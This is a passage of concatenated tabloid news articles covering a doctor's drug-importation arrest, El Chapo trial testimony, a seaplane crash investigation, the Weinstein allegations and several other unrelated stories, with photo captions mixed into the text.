and charged with importation of a controlled substance, the US Department of Justice announced on Tuesday. At least three packages were found, addressed to Finver's home within the last month which are believed to have contained illicit drugs. Following news of his arrest, Finver was fired from his position as medical director of Horizon Health and Renaissance Addiction Services, The Buffalo News reported. The charge carries a maximum penalty of 20 years in prison and a $1 million fine. Drug addiction treatment specialist Dr. Torin Finver, 54 (pictured), of Hamburg, New York was arrested on Monday and charged with importation of a controlled substance Finver's firing from Horizion Health was confirmed by Anne Constantino, the organization's president and CEO. 'We are disappointed by the news,' Christina Pearl, a spokesperson for Horizon, told the Lockport Union-Sun & Journal of the charges against the consultant. 'At all times, our patients remain the top priority. We are monitoring this situation, and working to ensure that our patients are well cared for.' The doctor is currently a member of the faculty of the University at Buffalo's Jacobs School of Medicine and Biomedical Sciences, and is touted as 'an expert on substance abuse and recovery,' according to his profile on the school's website. He also has a practice at UBMD Family Medicine that is 'focused on treating patients with substance dependency and on preventing addiction.' At least three packages were found, addressed to Finver's home within the last month which are believed to have contained illicit drugs. Finver is currently a member of the faculty of the University at Buffalo's Jacobs School of Medicine and Biomedical Sciences (pictured) with a practice at UBMD Family Medicine that is 'focused on treating patients with substance dependency and on preventing addiction' 'The university is aware of Dr. Finver's arrest and is gathering more information,' UB spokesperson John Della Contrada said in a written statement, adding that Finver's only role at the school is as a faculty member. 'At this time, the university has no reason to believe that the charges are related to Dr. Finver's duties at the university. The university has a process in place to address instances where an employee is accused of a crime. We will take necessary steps to respond, with the understanding that all people accused of a crime are presumed innocent unless proven guilty.' Finver's arrest came about following an investigation by Homeland Security Investigations, under the direction of Special Agent-in-Charge Kevin Kelly, and the US Postal Inspection Service, under the direction of Boston Division Inspector-in-Charge Joseph W. Cronin. Following news of his arrest, Finver was fired from his position as medical director of Horizon Health and Renaissance Addiction Services. Finver appeared before US Magistrate Judge Michael J. Roemer, was charged, and has been released on conditions while he awaits trial U.S. Customs and Border Protection Officers intercepted a padded mailer addressed to Finver's home in Hamburg residence on November 21 which contained a white powdery substance that field tested as positive for cocaine, Assistant US Attorney Patricia Astorga said. After a CBP K-9 alerted officers to the package which had been sent from Germany, a check of law enforcement databases revealed that the sender information was fictitious. The package contained three grams of the substance. Then, on December 10, postal inspectors in Rochester, New York became aware of package addressed to Finver's home in Hamburg, which a K-9 alerted to after sniffing it. A search warrant was executed on that parcel on December 12, and it was found to contain three small envelopes with a brown, rock-like substance, which field tested positive for heroin. Two more similar parcels addressed to Finver were located on December 12 and 15, with one in Rochester, and one in Hamburg. After obtaining a search warrant for one of the parcels, it was found to contain a subtance suspected to be cocaine. The second parcel is currently in the custody of law enforcement. After these developments, a controlled delivery was conducted at Finvers hom on Monday. Law enforcement officers replaced the cocaine that was seized from the first parcel with a decoy substance, and an officer knocked on the door, which Finver answered. Finver took the parcel into the home, and officers then executed a federal search warrant of the residence. Finver was then subsequently taken into custody. Finver appeared before US Magistrate Judge Michael J. Roemer, was charged, and has been released on conditions while he awaits trial. An infamous Chicago drug trafficker has returned to testify at the trial of Joaquin 'El Chapo' Guzman, revealing how he double crossed the drug lord and secretly recorded their phone conversations. Pedro Flores, 37, returned to the witness stand for a second day on Wednesday in Brooklyn, explaining how with his identical twin brother Margarito Flores he moved tons of cocaine in the U.S. for the Sinaloa Cartel. During his testimony, prosecutors played part of a call to Guzman that Pedro Flores made on November 15, 2008 to negotiate prices on a shipment of cocaine. 'Amigo!' a cheerful voice identified as Guzman's says at the start of the call, which Flores recorded on a device he bought at a Radio Shack in Mexico. 'Here at your service,' Guzman continues, 'You know that.' A bundle of cartel cash is seen in this government evidence photo presented at Guzman's trial Pedro Flores, 37, (above) testified on Tuesday at Guzman's (right) trial, saying that with his identical twin brother he distributed some 60 tons of cocaine in the U.S. for the Sinaloa Cartel Pedro Flores (left) and his identical twin brother Margarito Flores (right) worked their way up from street dealing in Chicago's Little Village neighborhood to become major traffickers Flores then asked whether Guzman could cut the per-kilo price they had originally agreed on to $50,000, a discount of $5,000. Guzman sounds happy to help out, as long as Flores was willing to. 'I'll pick up the money tomorrow,' Guzman says with little hesitation. 'That price is fine.' Flores asks Guzman in a brief follow-up call on the same day if he could deliver another large shipment of heroin to replenish the Chicago-based distribution network that the twins still controlled from Mexico. Guzman questions why, since it was his understanding that the Flores twins had already received a shipment from another cartel supplier. 'Yes, but what they sent was not good,' he responds. 'It doesn't compare to what you had.' In the end, Flores told the jury, the kingpin feared far and wide 'agreed to my terms.' Though the Flores twins ran much of the Sinaloa cartel's U.S. distribution for years, they were not above more menial tasks, the Chicago Tribune reported. Flores said that he was in charge of securing a 'burner' cell phone for himself and other cartel members, and tested them by calling a number familiar to all Chicagoans: 312-588-2300. 'That's the number for Empire carpeting,' Flores explained, referring to the Chicago company that for decades has run TV commercials advertising the number in a sing-song jingle. Flores did not perform the jingle in court, and the Brooklyn court seemed perplexed at the number's significance. Accused Mexican drug lord Joaquin 'El Chapo' Guzman sits during his trial in this courtroom sketch as he appears in Brooklyn federal court in New York on Tuesday During cross-examination, Guzman's attorney tried to cast doubt on Flores by tying him to the 2003 murder of Latin Kings boss Rudy 'Kato' Rangel Jr in a Little Village barber shop - a death memorialized in a song by the rapper DMX. The murder was long said to be a jewelry robbery gone wrong, but Guzman's defense attorney brought up the rumor that Rangel had ripped off the Flores twins for hundreds of kilos of cocaine before his death, and the fact that Margarito Flores soon went on to marry Rangle's widow. On the stand, Pedro Flores denied that he had ordered the hit on Rangel. 'Not for the woman or 200 kilograms?' the attorney asked. 'No,' Flores responded. Flores' first day of testimony on Tuesday was the first time that either brother had been seen in public since 2015, when they were both sentenced to 14 years in prison in a sweetheart deal for turning federal informants on the notorious cartel. In his first day of testimony, Flores said that he had worked his way up from street dealing in Chicago's Little Village neighborhood, eventually running afoul of a supplier in Mexico, who kidnapped him when he was on the run from a federal indictment. A count room is seen in this evidence photo that was show at Guzman's trial in November Cash is seen in secret compartments of a car in this evidence photo shown at Guzman's trial Flores testified that the kidnappers handcuffed and blindfolded him, and took him to a remote house where they held him for several days until his brother secured his freedom, the Chicago Tribune reported. His brother's first words to him, he said, were that he smelled bad and: 'I met Chapo.' In exchange for dealing with the kidnapper, Guzman wanted the twins to use their experience distributing cocaine in the U.S. for the Sinaloa cartel, Flores said. Flores described his first meeting with Guzman in 2005, saying he was taken by private plane to a rough landing strip on the incline of a mountain. Driving from the airstrip to the compound, Flores said he saw grisly signs of the cartel's violence, including a naked man chained to a tree, who crouched and stared at the truck as it passed. Guzman appeared from the thatched-roof concrete villa wearing a hat, with a shiny handgun in his waistband and an AK-47 propped nearby, and his first words were to tease Flores for wearing shorts, the court heard. 'He said with all that money, I couldn't afford the rest of the pants?' Flores said. Another Sinaloa cartel leader, Ismael 'El Mayo' Zambada, was there for the negotiations, Flores said. 'You guys have my respect,' he quoted Zambada as saying. 'Imagine if you guys were triplets.' Flores said that the brothers used their know-how to turn Chicago into a national distribution hub for the Sinaloa cartel, taking advantage of the city's central location. As he grew more comfortable with Guzman, whom he called 'The Man', Flores began to give him regular gifts - gold plated guns, which he admits were too heavy and inspired by watching too many movies, as well as a gag gift of a pair of jean shorts like the ones he wore to their first meeting, given in a box shaped like a Viagra pill. The drugs flowed north in trucks filled with fruit and vegetables - sometimes so much of them that it affected market prices in Chicago when the brothers dumped their cover goods, Flores said. Authorities escort Joaquin 'El Chapo' Guzman, center, from a plane to a waiting caravan of SUVs at Long Island MacArthur Airport, in Ronkonkoma, N.Y. in January 2017 One time, the brothers received a shipment of cocaine in a truck full of live sheep. Flores said they were baffled about what to do with the sheep, and eventually paid a friend $10,000 to get rid of them. 'I'm looking at a bunch of live sheep,' Flores said. 'What are we gonna do with them?' 'I was concerned the cover loads were getting kinda weak,' he recalled. Around 2008, Flores said he began to fear for his life when the cartel split into two factions, with both sides insisting that the twins deal exclusively with them. The bloody civil war within the cartel meant 'we were in a lose-lose situation,' he said, 'because we had to choose a side.' Flores contacted the DEA and began working as an informant, even making recordings of Guzman with a digital recorder that he bought at a Mexican Radio Shack. Guzman has denied that he was the leader of the Sinaloa cartel, saying he is being set up by shady government cooperators. If convicted, he faces life in prison without parole. Turkey expects the United States to take a positive decision on Fethullah Gulen's extradition, Turkish Justice Minister Abdulhamit Gul said. According to the Turkish minister, the U.S. is conducting its own investigations into the Gulen case, which this is very important. Gul said that the process is not yet complete, while its outcome is not negative yet, adding that Turkey is waiting for a positive result on the extradition issue, Haberturk reported. Turkish Foreign Minister Mevlut Cavusoglu said on Sunday that the U.S. President Donald Trump reportedly notified Erdoganthat the U.S. was considering the possibility of extraditing Gulen. But the White House later rejected it, saying that Trump only said that the U.S. would consider the issue of extradition. An Army veteran who is in the hospital with Stage 4 testicular cancer had his home burgled by thieves who made off with money, Christmas presents, a car, documents, and his chemotherapy medication. Adrian Ortega, 24, underwent a lengthy surgery on Monday at Kaiser Permanente Zion Medical Center in San Diego to combat the spread of cancer in his body. His wife, Jessica Tolentino, who is currently pregnant with their third child, was at his bedside in the intensive care unit while their other two children were staying with relatives. On Thursday, the couple was told that their home in Mountain View, California was burglarized, KFMB-TV reported. Adrian Ortega, 24, underwent a lengthy surgery on Monday at Kaiser Permanente Zion Medical Center in San Diego to combat the spread of cancer in his body His wife, Jessica Tolentino, who is currently pregnant with their third child, was at his bedside in the intensive care unit while their other two children were staying with relatives On Thursday, the couple was told that their home in Mountain View, California was burglarized To come home and its all gone. I know that stuff is replaceable, but he has worked so hard, said Tolentino. She said her husbands car, a 2006 Acura RSX Matte Grey, was stolen. Everything is crumbling and then you know, making the payment was hard enough, Tolentino said. We saved every nickel and dime and its gone. The burglars took diapers, clothing, and Christmas presents. They took our social security cards, both birth certificates, personal papers, she said. On Saturday, Chopper the Biker Dog, a nine-year-old Boston Terrier, paid a visit to Ortega. Heartwarming images show Ortega being comforted by Chopper Relatives started a GoFundMe campaign to help the family with their expenses. The crowdfunding effort, which aims to raise $25,000, has so far brought in $13,525 They took our kids' toys. Who does that? Our babies are left with nothing. Its hard as it is now. Tolentino is due to give birth next month. As if being robbed while sick with cancer wasnt cruel enough, Ortegas chemotherapy medicine was also stolen, as were his Army badges. Ortega was medically discharged from the military after he broke his pelvis. It sucks that people are out there that dont care, said Tolentino. Ortegas grandmother, Rose Hernandez, said: It is devastating to us dealing with this and this breaks my heart. Ortega was medically discharged from the military after he broke his pelvis. It sucks that people are out there that dont care, said Tolentino Tolentino said the family with fight on. Ortega plans on beating his illness. They plan on naming their baby daughter Lovely They have to deal with this this time of year. Tolentino said the family with fight on. Ortega plans on beating his illness. They plan on naming their baby daughter Lovely. Relatives started a GoFundMe campaign to help the family with their expenses. The crowdfunding effort, which aims to raise $25,000, has so far brought in $13,525. On Saturday, Chopper the Biker Dog, a nine-year-old Boston Terrier, paid a visit to Ortega. Heartwarming images show Ortega being comforted by Chopper, whose owner first heard about the devastating story while watching the news. Chopper is a therapy dog who dresses like a biker and rides a mini-motorcycle. His owner, Mark Shaffer, who lives in the San Diego area, has been taking Chopper to hospitals, hospices and nursing homes to comfort the ill. Chopper likes to ride Shaffers motorcycle in a special seat, wearing a leather vest and canine protective goggles, according to Huffington Post. The Terrier has a massive cult following on social media. His Facebook page has generated more than 116,000 likes. 'I do what I do out of the love and passion that comes within my heart, taking time to visit people throughout San Diego, and even traveling 100's of miles, just to share my "Chopper Love" to those in need, ALL of which is volunteer my time and never ask to get paid for,' according to Chopper's web site. The story of three sets of miracle twins has been revealed, with three sets of parents speaking out about how they had the siblings 15 years apart despite the children being conceived on the same day. All six children were conceived on the same day in 2002, after Marie and Randy Johnson of Bloomington, Minnesota sought help conceiving a child and donated the other embryos to the National Embryo Donation Center. The other sets of twins were born years later and to other parents in far-flung states - but that doesn't stop them from seeing each other as one big family. 'These children are true blessings,' Marie Johnson, 53, told the New York Post. 'It doesn't matter that they're different ages and live apart - what matters is that they have the gift of life.' Alex and Kurt Johnson: Born June 11, 2003 Alex Johnson (left), Kurt Johnson and their parents Marie Johnson and Randy Johnson holding twins Eliana and Aliza Hefner. Both sets of twins were conceived on the same day in 2002 Marie Johnson was diagnosed with Polycystic Ovarian Syndrome (PCOS) in her late 20s, before she met husband Randy. 'At the time I was neither married nor dating and wondered if a man would want to marry me, knowing I may never be able to have children,' she wrote in an essay describing her journey to motherhood. 'As I lay in bed the night of the PCOS diagnosis I prayed that God would give me a husband that would be understanding and supportive of possibly not having children.' A few months later, she met Randy Johnson through a mutual friend. After dating for just six weeks, she knew he was the one, and they were engaged. They married a year later, in 1996. After years of trying to get pregnant, the couple decided to try IVF. In October 2002, after undergoing the procedure, they got a call from the clinic - they had 15 viable embryos. Marie had three of the embryos transferred to her, and the following June she gave birth to fraternal twin brothers Alex and Kurt. The couple initially hoped to try for more children, but additional health scares made them reconsider. Unwilling to destroy the other viable embryos due to their strong religious faith, the Johnsons sought out the National Embryo Donation Center in 2007, which offered to store the embryos in deep freeze at no charge, and seek out a suitable adoptive couple. Matthias and James Gardner: Born November 2017 Matthias and James Gardner, the twins of South Carolina couple Jeni and Danny Gardner The Gardners (above) added to their brood of five children when they had twins through embryo adoption in November 2017 Jeni and Danny Gardner met on a missionary trip to the Dominican Republic in 2003, and though they initially didn't get along, they struck up a connection that continued upon their return home to Charleston, South Carolina. Eleven months later, the happy couple were married. They went on to have five children - but were devastated in August 2015, when their sixth child, Jacob Isaiah, was stillborn at 35 weeks. 'When friends at church shared their story of embryo adoption through the National Embryo Donation Center, Danny and I both felt like the time had come to pursue adoption specifically embryo adoption,' Jeni Gardner, now 44, wrote in an essay detailing her story. Danny Gardner and sons Matthias and James Gardner are seen above 'I love being pregnant and our entire family was very hopeful that the loss of Jacob would not be the end of our pregnancy story,' she continued. The donation center paired them with the Johnson family in Minnesota, who were seeking an open adoption and were thrilled to find a family that shared their values. Things progressed quickly, and soon Jeni Gardner was pregnant again thanks to the Johnsons family's embryos. The Gardner's sons Matthias and James, fraternal twins, were born at 37 weeks in November 2017. 'What JOY they bring! They are the sweetest babies. There is no shortage of love for them with five older siblings always eager to hold, feed, and play,' Jeni Gardner wrote. Eliana and Aliza Hefner: Born June 11, 2018 Tennessee couple Amy and Robert Hefner pose with daughters Eliana and Aliza, born 15 years to the day after Minnesota twins Alex and Kurt Twins Eliana and Aliza Hefner are seen at two months old in this family photo Robert and Amy Hefner met more than 15 years ago in college, and two years after their first date, they were engaged, soon to be married. 'All I ever wanted to be was a wife and mom,' Hefner, now 34, recalled in an interview published by the donation center. The Millington, Tennessee couple yearned to be pregnant, but were plagued by infertility issues. 'All the testing, failed treatments and negative tests over the years were difficult emotionally, spiritually and physically,' Amy Hefner told the Post. 'Everyone around the same age as us seemed to have children or were pregnant in no time. The sting of baby shower invitations or looking at Babybook - what I started to call Facebook - was so hard.' After years of trying, the couple were given a brochure about embryo donation by a close friend. On June 11, 2018 - fifteen years to the day that Alex and Kurt were born, Amy Hefner gave birth to Eliana and Aliza. Now, all three families have become close, and the three sets of twins and their parents are all in regular contact. 'All three of our families have a set of twins,' Amy Hefner told the adoption center. 'It's so neat to see the story God has written and how He has brought our families together for His glory.' Chilling pictures taken on a passenger's camera have revealed a seaplane's final moments before it crashed into a river in Australia killing all six people on board. British millionaire businessman Richard Cousins, four members of his family and Canadian pilot Gareth Morgan died on New Year's Eve 2017 after the Sydney Seaplanes aircraft nosedived in to the Hawkesbury River, north of the city. Six images have since been retrieved from a digital camera belonging to Richard's son William, a Canon EOS 40D, which was recovered from the wreckage. The photos were taken in under a minute with the last of them captured as the plane veered off its intended course. Chilling pictures taken on a passenger's camera have revealed a seaplane's final moments before it crashed into a river in Australia killing all six people on board The images were taken in under a minute with the last image being snapped when the plane went off its intended course Witness photographs show the aircraft turning near Hole in the Wall, off its usual course The crash killed experienced pilot Gareth Morgan (left), 44, and high-profile UK businessman Richard Cousins (right), 58 Mr Cousins' sons Edward, 23 (left) and William, 25 (right) were also killed when their seaplane plunged into the Hawkesbury River Investigators say police have been able to reenact part of the flight using images from the camera, while several witness statements had also been gathered to determine the path the plane had travelled Mr Cousins - chief executive of FTSE 100 company Compass Group - had been on board with William, 25, fiancee Emma Bowden, 48, his other son Edward, 23, and Ms Bowden's 11-year-old daughter Heather. William's final picture shows the moment the plane started to leave its intended flight path from Cottage Point to Jerusalem Bay, where it crashed. The images suggest pilot Gareth Morgan, 44, may have been disoriented, distracted or incapacitated before the plane went down. The lightweight plane was bound for Sydney's Rose Bay and wasn't required to carry a cockpit voice or flight data recorder, leaving investigators to determine the plane's fatal flight path from photographs and witness accounts. Mr Morgan was a very experienced pilot and had flown the course more than 500 times before with Sydney Seaplanes. ATSB officials have previously likened the plane's unusual course to someone turning into a dead-end street instead of onto the freeway. The images, believed to have been taken by William Cousins suggest pilot Gareth Morgan, 44, may have been disoriented, distracted or incapacitated before the plane went down The photographs have helped investigators piece together what happened in the lead-up to the tragedy Investigators said police had been able to reenact part of the flight using images from the camera, while several witness statements had also been gathered to determine the path the plane had travelled One of the photographs retrieved from the camera shows the plane taxiing to the designated take-off area (left) and shortly after becoming airborne (right) The plane took a right-hand turn off the usual flight path at Little Shark Rock Point and looped towards Jerusalem Bay where it then fell towards the Hawkesbury River. 'It is important to note that the ATSB's investigation into this tragic accident is ongoing, so we are constrained on the information we can release publicly at this time,' ATSB executive director Nat Nagy said in a statement. 'However, the interim report does provide a factual update on the investigation so far.' The images were taken in under a minute with the last image being snapped when the plane went off its intended course. Victims Emma Bowden, 48, and her 11-year-old daughter Heather in front of Sydney Opera House days before the doomed 1960s single-engine DHC-2 Beaver plane plunged into the Hawksbury River British businessman Richard Cousins, four members of his family and Canadian pilot Gareth Morgan died on New Year's Eve, last year, after the Sydney Seaplanes aircraft veered 1km off course Pictures show the wreckage of the Sydney Seaplane which crashed into a river on New Years Eve killing all six people on board being pulled out of the water Investigators are now looking into factors surrounding the pilot's health and medical history due to the discovery of the images. It has also raised discussion about where flight recording systems should be fitted to lightweight planes operating passenger services. The results from an aviation medical specialist's review of the Mr Gareth's medical records and autopsy are expected in early 2019. Sydney Seaplanes chief executive Aaron Shaw on Thursday said the company was pleased the investigation had found the aircraft was in excellent condition and the pilot was highly qualified. Investigators are now looking into factors surrounding the pilot's health and medical history due to the discovery of the images Mr Shaw also noted regulators highly praised its operation during a safety audit three months prior to the crash. The route the seaplane took is a popular choice for tourists who want to take in Sydney's beauty from above. Just seven months prior to the fatal crash, Pippa Middleton and her husband James Matthews flew on the same seaplane during their honeymoon. The couple took the same trip on the De Havilland DHC-2 Beaver to an exclusive river restaurant north of Sydney. Other A-listers to take to the skies over scenic New South Wales with the company include Ed Sheeran, Jerry Seinfeld and Bill Gates. WHAT HAPPENED ON NEW YEAR'S EVE 2017 TO THE SYDNEY SEAPLANE? 3.00pm - British businessman Richard Cousins, four members of his family and Canadian pilot Gareth Morgan board an eight-seater seaplane at Cottage Point to return to Rose Bay. 3.05pm - Flight starts taxiing towards Cowan Creek take-off area for the planned 35-minute flight south to Sydney. 3.11pm - Flight lifts off the water. A photograph from the front seat passenger's recovered camera reveals the DHC-2 Beaver is airborne and heading northeast. 3.12pm - A person on the water takes a photo of the seaplane as it heads east towards the Hawkesbury River where it was expected to rise above the terrain and turn south to Rose Bay. 3.12pm - A final picture is taken by the passenger at Little Shark Rock Point moments before the plane turns and heads west. 3.13pm - Several witnesses see the plane head 'directly' towards Jerusalem Bay - a long and narrow stretch of water surrounded by steep terrain. - Minutes later witnesses see the plane, now 1.75km from where it turned west, make a sharp right turn and nosedive into the water. - 'The aircraft collided with the water in a near vertical position,' air crash investigators say. Source: Australian Transport Safety Bureau interim factual report Advertisement Police officers carrying Tasers are both more likely to be assaulted and to use force against suspects, a new study suggests. Researchers at the University of Cambridge found City of London officers armed with the electroshock weapons were almost 50% more likely to use force in the line of duty. It was also found they faced twice as many assaults as unarmed colleagues. Between June 2016 and June 2017, researchers allocated a Taser-carrying officer to 400 frontline shifts. A new study by the University of Cambridge suggests police officers carrying Tasers are both more likely to be assaulted and to use force against suspects Use of force was 48% higher among those City of London officers carrying Tasers than their unarmed counterparts. It was 19% higher among those without a Taser but accompanying a carrying officer. Six physical assaults against police were recorded during shifts with Taser-carrying officers, compared to just three on unarmed shifts. In total, over the study period, Tasers were 'deholstered' nine times by the examined officers, with suspects shocked on two occasions. Dr Barak Ariel, from the Cambridge Institute of Criminology, said: 'We found that officers are more likely to be assaulted when carrying electroshock weaponry and more likely to apply force. 'The City of London Police rarely discharged Tasers during the study. Yet the very presence of the weapon led to increased hostility between the police and public. Researchers found City of London officers armed with the electroshock weapons were almost 50% more likely to use force in the line of duty 'The presence of Tasers appears to provoke a pattern where suspects become more aggressive toward officers, who in turn respond more forcefully.' Study co-author Chief Superintendent David Lawes, from the City of London Police, said: 'The use of Tasers have been a proportionate and sensible introduction to policing against a backdrop of unsophisticated terror attacks and an increase in violent crime across London. 'A number of other forces are interested in replicating the study to add to the evidence base and see whether the experiment produces the same results outside of London. 'Across our force, we will continue to use evidence to define how we target problems, which tactics we should use and how we can ensure policing is efficient and safer for both the general public and our officers.' Salim Mehajer has been ruthlessly mocked by a judge as he told a court he'd be a free man within 12 weeks Salim Mehajer has been mocked by a judge as he told a court he'd be a free man within weeks, despite being jailed for 11 months in June for rigging a local election. The disgraced former deputy mayor of Auburn wore prison greens and clutched court documents as he fronted the Federal Court in Sydney via video link from Cooma jail on Wednesday. Representing himself, the 32-year-old told Justice Michael Lee he'd be 'out of custody in three to four months' and would have his bankruptcy overturned 'the moment I'm out of custody', The Sydney Morning Herald reported. 'When you're no longer a guest of Her Majesty,' Justice Lee responded. Mehajer reportedly vowed to walk out of prison by March 21 and said he would serve the remainder of his sentence under supervision in the community. He was declared bankrupt by the same court in March while he was behind bars awaiting trial on separate charges. Mehajer, who was previously found guilty of assaulting a taxi driver and a reporter, was convicted in June of enrolling voters at false addresses and sentenced to a minimum of 11 months in prison. The disgraced former deputy mayor of Auburn (pictured with one time girlfriend Melissa Tysoe) wore prison greens as he fronted court via video link from Cooma jail on Wednesday Representing himself, the 32-year-old told Justice Michael Lee he'd be 'out of custody in three to four months' The former Auburn City councillor immediately appealed the electoral fraud matter and made four bail applications within 10 weeks, all of which were refused. NSW Supreme Court Justice David Davies last month referenced Mehajer's string of incidents in custody before again denying him bail. 'The offences entirely bear out (a previous judge's) assessment that the applicant has an arrogant disregard for the law,' Justice Davies said in his written findings. 'In my opinion, his behaviour in custody resulting in the custodial offences mentioned is a clear indication that the applicant is not prepared to abide by the law or by rules or regulations.' Mehajer (pictured with Aysha, his ex-wife) reportedly vowed to walk out of prison by March 21 Mehajer was declared bankrupt in March while he was behind bars awaiting trial on separate charges Since the previous time he was refused bail on August 22, Justice Davies said Mehajer had been found to have refused or failed a drug sample and unlawfully used a phone. He also twice unlawfully delivered or received an article, twice disobeyed a direction, failed to comply with routine, avoided a routine and assaulted a prison officer, Justice Davies said. 'It was submitted on his behalf that an explanation for his custodial offences is the difficulty that he has had adjusting to custody,' the judge said. 'I do not accept that explanation. 'His custodial record is considerably worse than most custodial records that I have seen in the bail lists, even for persons having unresolved drug addiction problems.' Drivers texting or talking on the phone while driving have been targeted by police in recent months, but it's not the most common mistake motorists make behind the wheel. New data compiled by the Monash University Accident Research Centre in Melbourne found that a staggering amount of people simply don't even think about what they're doing when they get behind the wheel. A worrying 92 per cent of the 312 people who contributed to the study admitted they don't really think about driving or its possible dangers while behind the wheel, The Age reported. Drivers texting or talking on the phone while driving have been targeted by police in recent months, but it's not the most common mistake motorists make behind the wheel Another 60 per cent said texting behind the wheel is still a concern, despite the government's best attempts to stamp out the dangerous activity. NSW Police in particular have reminded drivers that an additional demerit point was added to any infringements earlier in 2018. This means that drivers will face 10 demerit points and a hefty fine should they be caught holding their phone during the double demerit Christmas and New Year period. Double demerits will be in force throughout the period for speeding, seat belt, mobile phone and motorcycle helmet offences. New data compiled by the Monash University Accident Research Centre in Melbourne found that a staggering amount of people simply don't even think about what they're doing when they get behind the wheel In addition to texting while driving, 88 per cent of contributors confessed to eating, drinking or smoking behind the wheel In addition to texting while driving, 88 per cent of contributors confessed to eating, drinking or smoking behind the wheel. The study points to potential 'attention blinks' - in which for 0.2 to 0.5 seconds a person's brain is more or less switched off while transferring attention to a new task. The findings led to further international research regarding improving road safety. Instead of calling for stricter penalties or tougher laws, the journal called for heightened mindfulness. The journal suggests teaching younger generations mindfulness while learning how to drive in the hopes that they will instill the practice in the future. They argue that being mindful could lead to fewer errors, less road rage, and less crashes on the whole. During the calendar year for 2017, there were 1,224 deaths on Australian roads. A total of 31 of those deaths occurred during the Christmas period. So far, there have been 1050 deaths on roads in Australia for 2018 and police are determined to keep this number as low as possible as the year draws to a close. Jennifer Lawrence has denied plans to attend a court hearing Thursday to support Harvey Weinstein accusers, days after it was revealed he allegedly bragged about his sexual relationship with actress. The New York Post initially reported that representatives for the Red Sparrow starlet had arranged a security team to escort the her in and out of Manhattan Supreme Court. Lawrence's spokesperson Liz Mahoney later confirmed that she is not attending the hearing. Judge James Burke will decide whether to grant or deny a motion to drop criminal sex assault charges against Weinstein. This comes after another bombshell lawsuit revealed that Weinstein allegedly ejaculated on a woman in a bathroom stall and later left her in tears while he forcibly performed oral sex on her. Jennifer Lawrence (pictured left in Hollywood in March) has denied plans to attend a court hearing Thursday to support Harvey Weinstein (seen right in New York in July) accusers TMZ first reported Friday that the unnamed woman, under the alias Jane Doe, filed a lawsuit against the former film producer for the alleged sex assaults that took place at the Sundance Film Festival in 2013 in Utah and months later in New York City. Doe, who was an aspiring actress at the time, said in the suit she first met Weinstein at the festival, where they attended a business meeting together at the five-star Waldorf Astoria in Park City. During the meeting, the woman got up to use the restroom, where she was abruptly greeted by an erect Weinstein in a stall, she claims. Weinstein allegedly pulled his pants down and made sexually explicit remarks to her. Weinstein (pictured right with Managing Partner, CAA Kevin Huvane, CAA Agent Chris Andrews at the 2013 Sundance Film Festival in Utah) allegedly ejaculated on a woman in a bathroom stall and later forcibly performed oral sex on her Lawrence (L) and former producer Weinstein are pictured in 2013 in Los Angeles. Weinstein allegedly bragged to his sexual assault accuser that he had slept with Lawrence Lawrence, pictured with Weinstein in 2013 in Los Angeles, has denied ever having a sexual relationship with him The woman, meanwhile, was still sitting on the toilet with her skirt around her ankles, according to the suit. Weinstein then allegedly told her: 'My d**k is nice and hard for you' and asked: 'Do you like my d**k?' Despite rejecting his advances, Weinstein allegedly masturbated in front of her and inched closer to her on the toilet. Moments later, he allegedly ejaculated on her skirt then insisted the pair should remain friends. Doe alleges she was promised meetings about potential acting roles afterward. She claims Weinstein also forced her hand on his erect penis later on at the business meeting. The Waldorf Astoria Park City hotel in Park City, Utah is pictured in a Facebook image Main Street is pictured during the Sundance Film Festival in Park City, Utah in January 2013 Another alleged attack happened months later in New York City, where Weinstein invited Doe to discuss a movie role for the 2014 film, Vampire Academy. The woman claims she broke down in tears after Weinstein got on his knees and performed oral sex against her will. Weinstein allegedly assured her: 'I slept with Jennifer Lawrence and look where she is; she has just won an Oscar.' The Mother! actress has denied ever having a sexual relationship with Weinstein. Lawrence told TMZ: 'My heart breaks for all the women who were victimized by Harvey Weinstein... I have never had anything but a professional relationship with him. 'This is yet another example of the predatory tactics and lies that he engaged in to lure countless women.' Doe further claims in the suit that Weinstein masturbated in front of her again in 2015 at the Beverly Hills Hotel, where he allegedly forced her into a restroom and told her 'you don't want to f**k this up' when she tried to run out of the place. A 46-year-old American woman has been reported missing five months after she mysteriously vanished in Australia. Priscilla Brooten, a United States citizen who has been living in Queensland for the past six years, has not been in contact with her family or friends since July. The alarm was raised with police on December 9 when she was reported missing. Priscilla Brooten, a citizen of the United States of America who resides in Queensland, has not been in contact with her family or friends since July During her six years in Australia Ms Brooten has been living in Bracken Ridge, in Brisbane's north, and Redcliffe, north of the Queensland capital. She was last seen in Bracken Ridge in July. Police are seeking public assistance to locate Ms Brooten and have released a photograph as part of the appeal. She is described as being Asian in appearance, 160cm tall with a slim build and long brown hair. A police spokeswoman said officers hold 'serious concerns for her safety' and they are appealing for her to make contact. Police confirmed they did not believe Ms Brooten had used her credit card or mobile phone in the period she has been missing. They said her family in the US had been contacted. Anyone with further information is urged to contact police. Inuits in a remote Canadian town near the Arctic Circle fear the curse of a doomed expedition 170 years ago is to blame for a series of mysterious deaths in their remote village. A number of deaths in Gjoa Haven are being blamed on the cursed underwater shipwrecks from the doomed voyage of HMS Terror in 1845. The remote hamlet is the only inhabited part of King William Island in Nunavut Territories and is home to a community of indigenous Inuits. In 1845 Sir John Franklin led a voyage of explorers in an attempt to locate the Northwest Passage. The doomed mission has been recreated in the Ridley Scott's horror drama, The Terror, in which the sailors face starvation, mutiny, cannibalism and a demonic polar bear while trapped in the ice. Two ships, the HMS Erebus and the HMS Terror, became icebound in Victoria Strait near King William Island in the Canadian Arctic. All 129 men, including Royal Navy officer Franklin died. The Terror series charts the doomed voyage of HMS Erebus and HMS Terror after they became trapped in ice during their expedition to the Northwest Passage Musician and actor, Nive Nielsen, as Lady Silence, the most prominent Inuk character in The Terror. Inuits later told explorers of the cannibalism and starvation sailors on board the doomed ships suffered Gjoa Haven, the only inhabited part of King William Island in Nunavut Territories, is home to a community of indigenous Inuits. The above image shows the main street of Gjoa Haven Franklin's HMS Erebus was found in 2014 by Canadian divers. Local residents fear the searches have caused a 'curse' to plague the remote village But after six recent sudden deaths in the small, tight-knit community, local residents fear a diving expeditions in search of the wreckage are provoking the gods, according to the Canadian Broadcasting Corporation. In recent years, divers have visited the area of Gjoa Haven in search of the wreckage site on the sea floor. But the local Inuit community says the final resting place of those who perished on the doomed voyage is sacred and should be left alone. They feel the wrecks are cursed and should not be disturbed, Parks Canada official Tamara Tarasoff said. Jacob Keanik, a local resident, said: People are superstitious. They feel there is a connection between the deaths and disturbing the wreck sites. Keaniks brother and nephew both drowned in a boating accident after the two ships 